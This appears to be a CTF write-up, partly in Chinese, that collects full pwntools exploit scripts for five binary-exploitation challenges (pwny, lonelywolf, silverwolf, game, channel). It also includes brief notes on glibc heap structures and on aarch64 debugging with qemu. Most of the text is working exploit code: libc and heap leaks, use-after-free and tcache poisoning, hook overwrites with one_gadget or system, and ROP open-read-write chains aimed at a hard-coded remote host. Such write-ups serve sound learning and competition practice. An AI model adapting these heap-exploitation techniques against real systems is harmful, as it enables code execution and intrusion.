pwny
from pwn import*
import sys
context.arch = 'amd64'
host = '1.1.1.1'
port = 10000
local = sys.argv[1]
if(local == 'l'):
context.log_level = 'debug'
libc=ELF('/glibc/x64/2.27/lib/libc-2.27.so')
sh = process('./pwny')
else:
# context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
elf = ELF('./pwny')
sh = remote('123.60.211.115', 22449)
def write_into(idx, cont='', flag=0):
sh.sendlineafter('choice: ', '2')
sh.sendlineafter('Index: ', str(idx))
if flag == 1:
sh.send(str(cont))
def read(flag=0, idx=0):
if flag == 1:
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('Index: ', p64(idx))
else:
sh.sendlineafter('Index: ', str(3))
info("FD is not 0!!!")
def pwn():
write_into(256)
# gdb.attach(sh)
# gdb.attach(sh, 'set *0x555555756860=0')
read(1, 0xfffffffffffffff0)
sh.recvuntil('Result: ')
libc_addr = int(sh.recvuntil('\n', drop=1), 16) - libc.sym['__libc_start_main']
if libc_addr < 0:
sh.close()
malloc_hook = libc_addr + libc.sym['__malloc_hook']
if local == 'l':
onegad = [0x41612, 0x41666, 0xdeed2]
else:
onegad = [0x4f3d5, 0x4f432,0x10a41c]#
onegadget = libc_addr + onegad[1]
realloc = libc_addr + libc.sym['realloc']
realloc_hook = libc_addr + libc.sym['__realloc_hook']
success("libc_addr: 0x%x"%(libc_addr))
success("malloc_hook: 0x%x"%(malloc_hook))
success("onegadget: 0x%x"%(onegadget))
success("realloc_hook: 0x%x"%(realloc_hook))
# sh.recv()
read(1, 0xfffffffffffffff5)
sh.recvuntil('Result: ')
text_addr = int(sh.recvuntil('\n', drop=1), 16) - 0x202008
array_addr = text_addr + 0x202060
success("text_addr: 0x%x"%(text_addr))
# gdb.attach(sh, 'b*$rebase(0x0000000000000BA0)')
off = (realloc_hook - array_addr)/8
write_into(off, p64(onegadget), 1)
off = (malloc_hook - array_addr)/8
write_into(off , p64(realloc+2), 1)
sh.sendline('1'*0x500)
if __name__ == '__main__':
if local == 'l':
sh = process('./pwny')
pwn()
sh.interactive()
else:
while 1:
try:
sh = remote('123.60.211.115', 22449)
pwn()
sh.interactive()
except:
sh.close()
lonelywolf
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.05.15 13.01.51
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def add(size):
sh.sendlineafter('choice: ','1')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Size: ',str(size))
def edit(cont):
sh.sendlineafter('choice: ','2')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Content: ',str(cont))
def delete():
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', '0')
def show():
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', '0')
def show_addr(name,addr):
log.success('The '+str(name)+' Addr=====> ' + str(hex(addr)))
local = sys.argv[1]
if(local == 'l'):
context.log_level = 'debug'
main_arena_off = 0x3b3c40
libc=ELF('/glibc/x64/2.29/lib/libc-2.29.so')
elf=ELF('./lonelywolf')
sh = process('./lonelywolf')
else:
# context.log_level = 'debug'
main_arena_off = 0x3ebc40
elf=ELF('./lonelywolf')
libc=ELF('./libc-2.27.so')
sh = remote('123.60.211.115',22390)
def pwn():
#UAF
add(8)
delete()
edit('A'*7 + 'B')
show()
sh.recvuntil('B')
heap_base = u64(sh.recvuntil('\n', drop=1, timeout=1).ljust(8, '\x00')) - 0x10
key = heap_base + 0x10
show_addr('heap_base', heap_base)
edit(p64(0))
add(0x10)
delete()
edit(p64(heap_base+0x10) + p64(key))
add(0x10)
add(2)
edit(p8(0)+p8(0x7))
add(0x20)
delete()
add(0x30)
sh.sendline('1'*0x500)
add(0x20)
show()
sh.recvuntil('Content: ')
libc_addr = u64(sh.recvuntil('\n', drop=1).ljust(8, '\x00')) - 0x80 -main_arena_off
malloc_hook = libc_addr + libc.sym['__malloc_hook']
realloc_hook = libc_addr + libc.sym['__realloc_hook']
realloc = libc_addr + libc.sym['realloc']
if local == 'l':
onegad = [0xc1720, 0xdf212, 0xdf21e]
else:
onegad = [0x4f3d5, 0x4f432,0x10a41c]
onegadget = libc_addr + onegad[2]
show_addr('libc_addr', libc_addr)
show_addr('malloc_hook', malloc_hook)
show_addr('onegadget', onegadget)
add(0x30)
delete()
edit(p64(malloc_hook)+ p64(key))
add(0x30)
add(0x30)
edit(p64(onegadget))
# gdb.attach(sh)
if __name__ == '__main__':
if local == 'l':
# while 1:
# try:
sh = process('./lonelywolf')
pwn()
sh.interactive()
# except:
# sh.close()
else:
# while 1:
try:
sh = remote('123.60.211.115',22390)
pwn()
sh.interactive()
except:
sh.close()
silverwolf
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.05.15 13.01.51
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def add(size):
sh.sendlineafter('choice: ','1')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Size: ',str(size))
def edit(cont):
sh.sendlineafter('choice: ','2')
sh.sendlineafter('Index: ', '0')
sh.sendlineafter('Content: ',str(cont))
def delete():
sh.sendlineafter('choice: ', '4')
sh.sendlineafter('Index: ', '0')
def show():
sh.sendlineafter('choice: ', '3')
sh.sendlineafter('Index: ', '0')
def show_addr(name,addr):
log.success('The '+str(name)+' Addr=====> ' + str(hex(addr)))
local = sys.argv[1]
if(local == 'l'):
context.log_level = 'debug'
main_arena_off = 0x3b3c40
libc=ELF('/glibc/x64/2.29/lib/libc-2.29.so')
elf=ELF('./silverwolf')
sh = process('./silverwolf')
else:
context.log_level = 'debug'
main_arena_off = 0x3ebc40
elf=ELF('./silverwolf')
libc=ELF('./libc-2.27.so')
sh = remote('123.60.211.115',22428)
def pwn():
#UAF Orw
add(8)
delete()
edit('A'*7 + 'B')
show()
sh.recvuntil('B')
heap_base = u64(sh.recvuntil('\n', drop=1, timeout=1).ljust(8, '\x00')) - 0x10
key = heap_base + 0x10
show_addr('heap_base', heap_base)
edit(p64(0))
add(0x10)
delete()
edit(p64(heap_base+0x10) + p64(key))
add(0x10)
add(2)
edit(p8(0)+p8(0x7))
add(0x20)
delete()
add(0x30)
sh.sendline('1'*0x500)
add(0x20)
show()
sh.recvuntil('Content: ')
libc_addr = u64(sh.recvuntil('\n', drop=1).ljust(8, '\x00')) - 0x80 -main_arena_off
malloc_hook = libc_addr + libc.sym['__malloc_hook']
realloc_hook = libc_addr + libc.sym['__realloc_hook']
realloc = libc_addr + libc.sym['realloc']
envrion = libc_addr + libc.sym['__environ']
if local == 'l':
onegad = [0xc1720, 0xdf212, 0xdf21e]
else:
onegad = [0x4f3d5, 0x4f432,0x10a41c]
onegadget = libc_addr + onegad[2]
show_addr('libc_addr', libc_addr)
show_addr('malloc_hook', malloc_hook)
show_addr('onegadget', onegadget)
add(0x30)
delete()
edit(p64(envrion))
add(0x30)
add(0x30)
show()
sh.recvuntil('Content: ')
edit_ret_addr = u64(sh.recvuntil('\n', drop=1).ljust(8, '\x00')) - 0x120
show_addr('edit_ret_addr', edit_ret_addr)
add(0x78)
delete()
edit(p64(edit_ret_addr))
add(0x78)
edit("./flag\x00")
flag_addr = heap_base + 0xe50
show_addr('flag_addr', flag_addr)
if local == 'l':
PopRdiRet = libc_addr + 0x00000000000219a0
PopRsiRet = libc_addr + 0x00000000000243a5
PopRdxRet = libc_addr + 0x0000000000001b9a
PopRaxRet = libc_addr + 0x0000000000037f18
syscall = libc_addr + 0x000000000000275b
Syscall = libc_addr + libc.sym['syscall']
Open = libc_addr + libc.sym['open']
Read = libc_addr + libc.sym['read']
Write = libc_addr + libc.sym['write']
else:
PopRdiRet = libc_addr + 0x00000000000215bf
PopRsiRet = libc_addr + 0x0000000000023eea
PopRdxRet = libc_addr + 0x0000000000001b96
PopRaxRet = libc_addr + 0x0000000000043ae8
syscall = libc_addr + 0x00000000000013c0
Syscall = libc_addr + libc.sym['syscall']
Open = libc_addr + libc.sym['open']
Read = libc_addr + libc.sym['read']
Write = libc_addr + libc.sym['write']
add(0x78)
# gdb.attach(sh, 'b*$rebase(0x0000000000000B22)')
Readfrom = flat(PopRdiRet, 0, PopRsiRet, edit_ret_addr+0x38, PopRdxRet, 0x100, Read) #0x38
Orw = flat(PopRdiRet, 2, PopRsiRet, flag_addr, PopRdxRet, 0, Syscall)
Orw += flat(PopRdiRet, 3, PopRsiRet, flag_addr, PopRdxRet, 0x50, Read)
Orw += flat(PopRdiRet, 1, Write)
edit(Readfrom)
# gdb.attach(sh)
sh.sendline(Orw)
# edit('1')
if __name__ == '__main__':
if local == 'l':
sh = process('./silverwolf')
pwn()
sh.interactive()
else:
sh = remote('123.60.211.115',22428)
pwn()
sh.interactive()
game
一个VMPWN,需要先逆出指令集先区==分指令结束标志==
关键结构体:
struct Maner{ //0x18
void *Matrix;
char Row;
char Col;
char Padding[6];
M_desc *desc;
};
struct M_desc{ //0x20
char ID;
char Padding[7];
void *Desc_chunk;
M_desc *Next;
int Size;
char Ran_Col;
char Ran_Row;
char Padding[2];
}
申请一个Matrix,可以申请多个M_desc。
然后每次申请description就可以在Matrix中写入一个字符,位置右可预测伪随机数决定。最后4个函数可以上下左右写入相同字符,存在单字节覆盖
坑
这次的libc都是用2.27高版本的,在tcache机制上几乎等于2.29,所以可以用2.29来作为本地环境
详情见:https://www.anquanke.com/post/id/219292
然后就是利用沙箱库函数导致堆环境乱成一锅粥,但是他们的chunk一般不会超过0x100,所以注意这个就行
思路
- 单字节覆盖一个0xX00的高位造成chunk_overlap
- 在该chunk下提前布置好chunk
- 泄露libc,heapbase
- 修改下面的free_chunk->fd
- 法一:额外泄露stack地址获取description函数的返回地址的chunk,进行rop.由于完全可以使用tcache劫持完成所以首选
- 法二:本地我由于使用glibc2.29代替了2.27所以,srop应该无法实现(需要对malloc_hook进行篡改,在这个程序中不能行)
Exp
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.05.15 17.58.08
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
host = '1.1.1.1'
port = 10000
local = sys.argv[1]
if(local == 'l'):
context.log_level = 'debug'
main_arena_off = 0x3b3c40
libc=ELF('/glibc/x64/2.29/lib/libc-2.29.so')
elf = ELF('./game')
sh = process('./game')
else:
context.log_level = 'debug'
main_arena_off = 0x3ebc40
libc=ELF('./libc-2.27.so')
elf = ELF('./game')
sh = remote('123.60.211.115',22433)
def sentcode(str):
info(b"send ====> %s"%(str.replace(b'\n', b'\t')))
def get_Matrix(hang, lie):
cmd = b'l:%d\nw:%d\nop:1\n\n'%(hang, lie)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def get_Descr(Id, size, desc):
cmd = b'id:%d\ns:%d\nop:2\n\n'%(Id, size)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
sh.sendafter('desc> ', str(desc))
def delete(Id):
cmd = b'id:%d\nop:3\n\n'%(Id)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def show():
cmd = b'op:4\n\n'
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def write_up(char):
cmd = b'id:%d\nop:5\n\n'%(char)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def write_down(char):
cmd = b'id:%d\nop:6\n\n'%(char)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def write_right(char):
cmd = b'id:%d\nop:7\n\n'%(char)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def write_left(char):
cmd = b'id:%d\nop:8\n\n'%(char)
sh.sendlineafter('cmd> ',cmd)
sentcode(cmd)
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
def pwn():
#mprotect + orw
get_Matrix(0x20, 0x8)
get_Descr(0x8, 0x3f0, 'A'*0x10)
for i in range(2):
write_left(0x8)
for i in range(9+7+10):
write_down(0x8)
get_Descr(0x99, 0x200, 'for malloc') #0x400
get_Descr(0x98, 0x1e0, 'for free')
get_Descr(0x97, 0x1f0, 'for base')
delete(0x8)
get_Descr(0x8, 0x7f0, '\xa0')
show()
libc_addr = u64(sh.recvuntil('\x7f', timeout=1)[-6:] + '\x00'*2) - 0x60 -main_arena_off
show_addr('libc_addr', libc_addr)
delete(0x99)
delete(0x8)
get_Descr(0x8, 0x7f0, 'A'*0x400 + 'B'*8)
show()
sh.recvuntil('B'*8)
key = u64(sh.recv(6) + '\x00'*2)
heap_addr = key - 0x10
show_addr('heap_addr', heap_addr)
delete(0x8)
get_Descr(0x8, 0x7f0, 'A'*0x3f0 + p64(0) + p64(0x211))
delete(0x8)
PopRdiRet = libc_addr + 0x00000000000219a0 #rax
PopRsiRet = libc_addr + 0x00000000000243a5 #rdi
PopRdxRet = libc_addr + 0x0000000000001b9a #rsi
PopRcxRet = libc_addr + 0x00000000001a4f9e #rdx
Syscall = libc_addr + libc.sym['syscall']
setcontext = libc_addr + libc.sym['setcontext']
free_hook = libc_addr + libc.sym['__free_hook']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
environ = libc_addr + libc.sym['__environ']
delete(0x98)
padding = 'A'*0x3f0 + p64(0) + p64(0x211)
padding += p64(environ) + p64(key)
get_Descr(0x8, 0x7f0, padding)
get_Descr(0x9, 0x200, 'A')
get_Descr(0xa, 0x200, '\x78')
show()
sh.recvuntil('(4,24) ')
stack_addr = u64(sh.recvuntil('\x7f') + '\x00'*2) - 0x570
show_addr('stack_addr', stack_addr)
delete(0x8)
padding = 'A'*0x3f0 + p64(0) + p64(0x211)
padding += p64(environ) + p64(key)
padding += 'A'*0x1f0 + p64(0) + p64(0x201)
padding += p64(stack_addr) + p64(key)
flag_addr = stack_addr + 200
orw = flat(PopRdiRet, 2, PopRsiRet, flag_addr, PopRdxRet, 0, Syscall)
orw += flat(PopRdiRet, 0, PopRsiRet, 3, PopRdxRet, flag_addr, PopRcxRet, 0x100, Syscall)
orw += flat(PopRdiRet, 1, PopRsiRet, 1, PopRdxRet, flag_addr, PopRcxRet, 0x100, Syscall)
get_Descr(0x8, 0x7f0, padding)
get_Descr(0x55, 0x1e0, 'A')
get_Descr(0x56, 0x1e0, orw + './flag\x00')
if __name__ == '__main__':
while 1:
try:
sh = process('./game')
pwn()
sh.interactive()
except:
sh.close()
libc问题
对于只给出libc的题目我们只能从中获取版本信息和偏移用来进行远程攻击
如果同时给出ld和libc那么我们就不许要编译对应版本的glibc,来进行本地测试。直接用ld配合其libc即可:
patchelf --set-interpreter ./remote_LD ./your_binary #指定interpreter
export export LD_PRELOAD=./remote_LIBC #指定加载libc
这样就会加载远程的libc
对应==pwntools==:
#先patchelf --set-interpreter ./remote_LD ./your_binary
sh = process(['./channel'], env={"LD_PRELOAD":"./libc-2.31.so"})
channel
这是一个aarch64的程序,动态链接
异架构本地调试
远程启动,等待调试:
#先patchelf --set-interpreter ./remote_LD ./your_binary
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
elf=ELF('./channel')
sh = process(['qemu-aarch64-static', '-g', '1234', './channel'], env={"LD_PRELOAD":"./libc-2.31.so"}) #这就不需要指定lib库,因为给出了ld和libc
进行连接,调试:
gdb-multiarch -q ./channel \
-ex "target remote 0.0.0.0:1234" \
-ex "set solib-search-path ./ " \
-ex "b*0x0000004000001418" \
-ex "b*0x0000004000001408" \
-ex "b*0x0000004000001410" \
#-ex "b*0x00000040000013C0"
这样提前写好断点,远程调试ctrl+c不能中断我没有找到好的方法来查看heap信息
只能用死劲儿,所以本地调试最好把ASLR关闭,固定地址
程序
程序大概意图:先注册用户(key),然后添加对应用户内容
关键结构体:
struct Maner{
char key[0x100];
Maner *Next;
M_cont *M_cont;
};
struct M_cont{
void *Content;
M_cont *Next;
};
一个用户可以有多个content
利用unregister函数的UAF即可
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.05.21 08.27.12
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'aarch64'
context.binary = './channel'
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
def register(key):
sh.sendlineafter('> ', '1')
sh.sendafter('key> \n', key)
def unregister(key):
sh.sendlineafter('> ', '2')
sh.sendafter('key> \n', key)
def show(key):
sh.sendlineafter('> ', '3')
sh.sendafter('key> \n', key)
def write(key, size, content):
sh.sendlineafter('> ', '4')
sh.sendafter('key> \n', key)
sh.sendlineafter('len> \n', str(size))
sh.sendafter('content> \n', content)
host = '1.1.1.1'
port = 10000
local = sys.argv[1]
main_arena_off = 0x000000000016DA60
if local == 'l':
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
elf=ELF('./channel')
sh = process(['qemu-aarch64-static', './channel'], env={"LD_PRELOAD":"./libc-2.31.so"})
elif local == 'r':
#context.log_level = 'debug'
elf=ELF('./channel')
libc=ELF('./libc-2.31.so')
sh = remote('0.0.0.0',12345)
elif local == 't':
elf=ELF('./channel')
libc=ELF('./libc-2.31.so')
sh = process(['qemu-aarch64-static', './channel'], env={"LD_PRELOAD":"./libc-2.31.so"})
else :
# context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
elf=ELF('./channel')
sh = process(['qemu-aarch64-static', '-g', '1234', './channel'], env={"LD_PRELOAD":"./libc-2.31.so"})
def pwn():
#UAF
show_addr('Heap_NO_ASLR', 0x40009bf6a0)
for i in range(12):
register(str(i))
unregister('0')
unregister('1')
write('3', 0x110, '\xb0')
show('3')
heap_base = u64(sh.recv(3).ljust(4, '\x00') + '\x40' + '\x00'*3) - 0x6b0
id_1 = heap_base + 0x6b0
fake_chunk = id_1 + 0xf0
show_addr('heap_base', heap_base)
show_addr('fake_chunk', fake_chunk)
write('4', 0x110, "/bin/sh\x00".ljust(0xf0, '\x00') + p64(0) + p64(0x5c1) + p64(fake_chunk+0x10))
unregister(p64(fake_chunk+0x10) + p64(0)*2 + p64(0x121) + p64(id_1))
bin_sh_addr = id_1
write('5', 0x10, '\x20')
write('6', 0x200, '\x00'*0xe0 + p64(0) + 'A'*8)
show('5')
libc_addr = u64(sh.recv(3).ljust(4, '\x00') + '\x40' + '\x00'*3) - 0x4c0 - main_arena_off
free_hook = libc_addr + libc.sym['__free_hook']
system = libc_addr + libc.sym['system']
show_addr('libc_addr', libc_addr)
show_addr('free_hook', free_hook)
show_addr('system', system)
unregister('11')
unregister('4')
write('7', 0x200, '/bin/sh\x00'.ljust(0x100, '\x00') + p64(0) + p64(0x121) + p64(free_hook))
register("/bin/sh\x00")
write("/bin/sh\x00", 0x110, p64(system))
unregister("/bin/sh\x00")
# show('9')
if __name__ == '__main__':
pwn()
sh.interactive()
注意:
- 由于不能使用一些heap的插件只能多次调试查看内存获取heap链表的信息
- 攻击思路是一样的地址泄露->chunk_overlap->free_hook->system
- 不要轻易以为是环境问题!!
- main_arena偏移从IDA找malloc_trim函数,main_arena_off对于arm_libc无法解析出其他架构的(应该)
记录一下这怪异的地址
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000000000 0x4000002000 r-xp 2000 0 <explored>
0x4000815000 0x4000817000 rwxp 2000 0 [stack]
0x4000817000 0x4000838000 r-xp 21000 0 ./ld-2.31.so
0x4000838000 0x4000848000 ---p 10000 21000 ./ld-2.31.so
0x4000848000 0x4000849000 r--p 1000 21000 ./ld-2.31.so
0x4000848000 0x40009a5000 r-xp 15d000 0 <explored>
0x4000848000 0x40009a5000 r-xp 15d000 0 <explored>
0x4000848000 0x40009a5000 r-xp 15d000 0 <explored>
0x4000848000 0x40009a5000 r-xp 15d000 0 <explored>
0x4000848000 0x40009a5000 r-xp 15d000 0 <explored>
0x4000849000 0x400084b000 rw-p 2000 22000 ./ld-2.31.so